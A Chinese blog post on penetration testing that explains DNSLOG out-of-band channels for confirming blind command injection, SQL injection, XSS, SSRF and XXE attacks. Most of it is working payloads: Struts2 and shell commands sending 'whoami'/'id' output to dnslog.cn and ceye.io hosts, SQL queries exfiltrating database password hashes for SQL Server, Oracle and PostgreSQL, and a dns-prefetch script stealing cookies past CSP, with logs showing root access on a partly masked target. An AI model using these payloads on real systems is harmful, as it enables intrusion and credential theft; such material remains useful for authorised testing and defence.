专栏首页博客笔记模糊测试之攻击回显

模糊测试之攻击回显

[TOC]

前言

描述:一个渗透安全工程师常常会在,某些安全测试项目中遇到,代码或者命令可以被执行,但是无任何的回显特征来判断攻击成功,

  • 比如存在SSRF漏洞还可以利用回显来查看是否攻击成功(大部分),但是也存在SSRF无回显漏洞以及在XXE相关的漏洞(诸如Blind XXE和Blind SSRF之类的漏洞上)利用上也需要它;
  • 再比如当再实际渗透测试中SQL盲注、命令盲注等漏洞是较难利用的由于无回显这类漏洞即使存在也显得有些鸡肋。针对此类问题我们可以使用DNSLOG来进行突破。

DNSlogFuzz渗透中的使用

描述:DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显;

1.DNSLOG的原理 DNS的解析是递归与迭代相结合的,当我们访问一个根域的时候DNS的解析过程示意图,其中红色部分是可控的。

WeiyiGeek.参考Freebuf

我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

比如: 在 http://www.dnslog.cn/ 中申请一个域名然后,在对其子域名进行ping操作就能看到回显;

WeiyiGeek.DNSLOG回显

2.DNSlog服务器自己搭建 当然您也可以自建一个这样的平台直接使用BugScan团队开源的工具搭建即可,前提是您需要有自己的服务器和域名,

或者使用在线平台:

3.DNSlog使用场景和思路 场景零:不同命令执行回显

#linux下:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

#Win下:
ping %USERNAME%.b182oj.ceye.io
变量                     类型       描述
%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
%CD%                     本地       返回当前目录字符串。
%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME%           系统       返回计算机的名称。
%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH%                   系统       指定可执行文件的搜索路径。
%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION%     系统       返回处理器的版本号。
%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME%                   系统       返回当前时间。使用与timet 命令相同的格式。由 Cmd.ex 生成。
%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
%USERNAME%               本地       返回当前登录的用户的名称。
%USERPROFILE%            本地       返回当前用户的配置文件的位置。
%WINDIR%                 系统       返回操作系统目录的位置。

场景一:命令盲注回显 比如:17年9月爆发的Struts2-052反序列化命令执行漏洞是看不到任何回显的,针对这种情况我们可以利用DNSLOG来获取命令的执行结果;

#Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

#Payload
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id`.2ojptq.dnslog.cn"'
#回显请求
DNS Query Record	IP Address	Created Time
root.2ojptq.dnslog.cn	**.204.65.56	2019-08-13 14:44:58

Playload解析:

  • 根据语法规定会先将双引号中的whoami命令执行并替换为结果,再执行整个的curl命令。
  • 注意为了防止内容不适合作为域名的一部分我们也可以base64编码后再进行请求。 (小技巧)#方式1:针对于域名base64编码
#方式1:针对于域名base64编码
echo "http://`id`.2ojptq.dnslog.cn" | base64
aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K
#base64编码请求
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl $(echo "aHR0cDovL3VpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpLjJvanB0cS5kbnNsb2cuY24K" | base64 -d)'

#方式2:针对于域名base64编码(需要注意URL有长度限制-推荐方式)
go run main.go -u "http://202.114.**.***/view/index.action" -c 'curl "http://`id|base64`.2ojptq.dnslog.cn"'

#请求结果
DNS Query Record	IP Address	Created Time
uid=0(root) gid=0(root) groups=0(root).2ojptq.dnslog.cn	***.204.**.56	2019-08-13 15:07:17

场景二:SQL盲注回显 描述:我们常常遇到在 bool型盲注时间类型盲注, 都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下很可能导致IP被ban; 利用方法:如遇到MySql的盲注时我们可以结合DNSLOG完美快速的将数据取出,可以利用内置函数load_file()来完成DNSLOG

(小技巧): load_file()不仅能够加载本地文件同时也能对诸如\www.test.com这样的URL发起请求。

#利用条件
1.有file权限的数据库用户
2.且开启allow_url_fopen(默认开启)
3.secure_file_priv=/date/ #就只能读取该目录文件
#Payload:
select load_file(concat('\\\\', user(), '.4q9z30.dnslog.cn'));
http://127.0.0.1/fuzz/?id=1 and if((select load_file(concat(0x7c,(select database()),'.4q9z30.dnslog.cn'))),1,1)

#查看执行效果 (非常鸡肋,不容易成功)
[email protected] **.**.**.** 	2019-07-27 09:45

补充利用:

#SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'[email protected]+'\foobar$"');

#Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

#PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

场景三: XSS绕过CSP 描述:CSP(内容安全策略)是防御XSS最有效的手段之一,当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外导致此XSS无法利用;对此我们可以使用DNS预解析突破CSP的阻拦。

DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术对于跨站的链接,由于每次都要进行一次DNS解析会消耗掉很多时间。 DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。

有趣的是DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。 (重点)由于DNS预解析可以绕过CSP进行解析(重点),结合DNSLOG我们即可窃取在CSP保护下的Cookie。

#Payload
document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".4q9z30.dnslog.cn'>"

#执行结果
R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3.4q9z30.dnslog.cn **.**.**.** 	2019-07-27 10:45

注意事项:

  • 根据DNS的规定域名的长度是有限制的,有时可能无法将长Cookie完全带出(需要进行分段)

场景四:SSRF无回显解决 描述:很多SSRF的漏洞类型都是无回显,利用DNS回显来查看利用:

#Playload:
http://10.10.107.1:8080/ssrf.php?url=http://php.nf9eex.dnslog.cn

场景五:XXE无回显解决 描述:与xml格式相关的web漏洞传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,在进行测试的时候往往也会遇到无回显的情况;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

场景六:其他漏洞攻击无回显解决

#FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.b182oj.ceye.io
#EXT-X-ENDLIST


#Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search


#ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.b182oj.ceye.io)'
pop graphic-context

#Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf


forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

参考来源:

Timeout回显

描述:对于ssrf但是它有个通用的特点就是它发起的请求往往都是有 Apache-HttpClient 这款容器发起的。

1.1.1.1 - weiygeek.com/&referer=none  - Apache-HttpClient/x.x (Java x.x minimum; Java/x.x.0)

#测试脚本代码
<?php
function is_allowed_URL($url){
    //可用来防止HTTP头注入
    if (!$url || !filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)){
        return false;
    }
  
    //仅允许http或https协议
    if(!preg_match('/^https?:\/\/.*$/', $url)){
        return false;
    }
       
    return true;
}

if (!is_allowed_URL($_GET['url'])) {
    echo '非法';
    exit;
}

//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
    array('http' => array(
        'follow_location' => false // don't follow redirects
    ))
);

//略
$ch = curl_init();
$timeout = 10;
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$url = curl_exec($ch);
ob_end_clean();

有两种知识:

  • “根据端口的响应时间判断端口是否存活:” http://192.168.1.1/ssrf.php?url=http://127.0.0.1:80 Tips:采用Burpsuite测试遍历端口时记得把Intruder attack -- columns -- Response received打勾 WeiyiGeek.burpsuiter-SSRF-test

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • JAVA入门学习一

    (1) JAVA 介绍 詹姆斯.高斯林(James Gosling) JAVA之父,与SUN公司的Patrick/Naughton/Mike Sheridan等...

    WeiyiGeek
  • 正则表达式介绍与使用

    正则表达式(Regular Expression)描述字符串结构模式的形式化表达方法,正则(Regex)表达式处理的对象的字符串或者抽象地说是一个对象序列(计算...

    WeiyiGeek
  • n2-kubernetes操作命令详细一览

    描述:该命令是安装K8s后的基础命令可以进行K8s主或者从节点的初始化,以及节点加入管理;

    WeiyiGeek
  • 聊聊rocketmq的AccessChannel

    rocketmq-client-4.5.2-sources.jar!/org/apache/rocketmq/client/AccessChannel.java

    codecraft
  • 聊聊rocketmq的AccessChannel

    rocketmq-client-4.5.2-sources.jar!/org/apache/rocketmq/client/AccessChannel.java

    codecraft
  • vim8.0支持Python

    因为在安装vimplus的过程中碰到了装完后YoucompleteMe不可用需要更高版本的问题。因此我安装了vim8.0版本,但是安装完后发现vim8.0不支持...

    py3study
  • 多层感知机(MLP)与神经网络结构 | 深度学习笔记

    为了尽量能形成系统的体系,作为最基本的入门的知识,请参考一下之前的一篇:感知机 | 神经网络 。 上篇文章让你形成对于神经网络最感性的理解。有些看不懂的直接忽...

    用户1332428
  • 利用DNS协议回显数据

    这个问题已经是去年提出的了,之前也看到过,在 CTF 题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。

    信安之路
  • 响铃:海尔暴力撕内筒背后是对生活的呵护

    你可曾见过越野车暴力撕洗衣机内筒?4月23日,“海尔洗衣机疯狂实验室”发布了撕内筒视频,海尔洗衣机的激光无缝焊接内筒完胜传统铆接工艺内筒。这次暴力实验向用户传递...

    曾响铃
  • LintCode 翻转字符串题目分析代码

    说明 单词的构成:无空格字母构成一个单词 输入字符串是否包括前导或者尾随空格?可以包括,但是反转后的字符不能包括 如何处理两个单词间的多个空格?在反转字符...

    desperate633

扫码关注云+社区

领取腾讯云代金券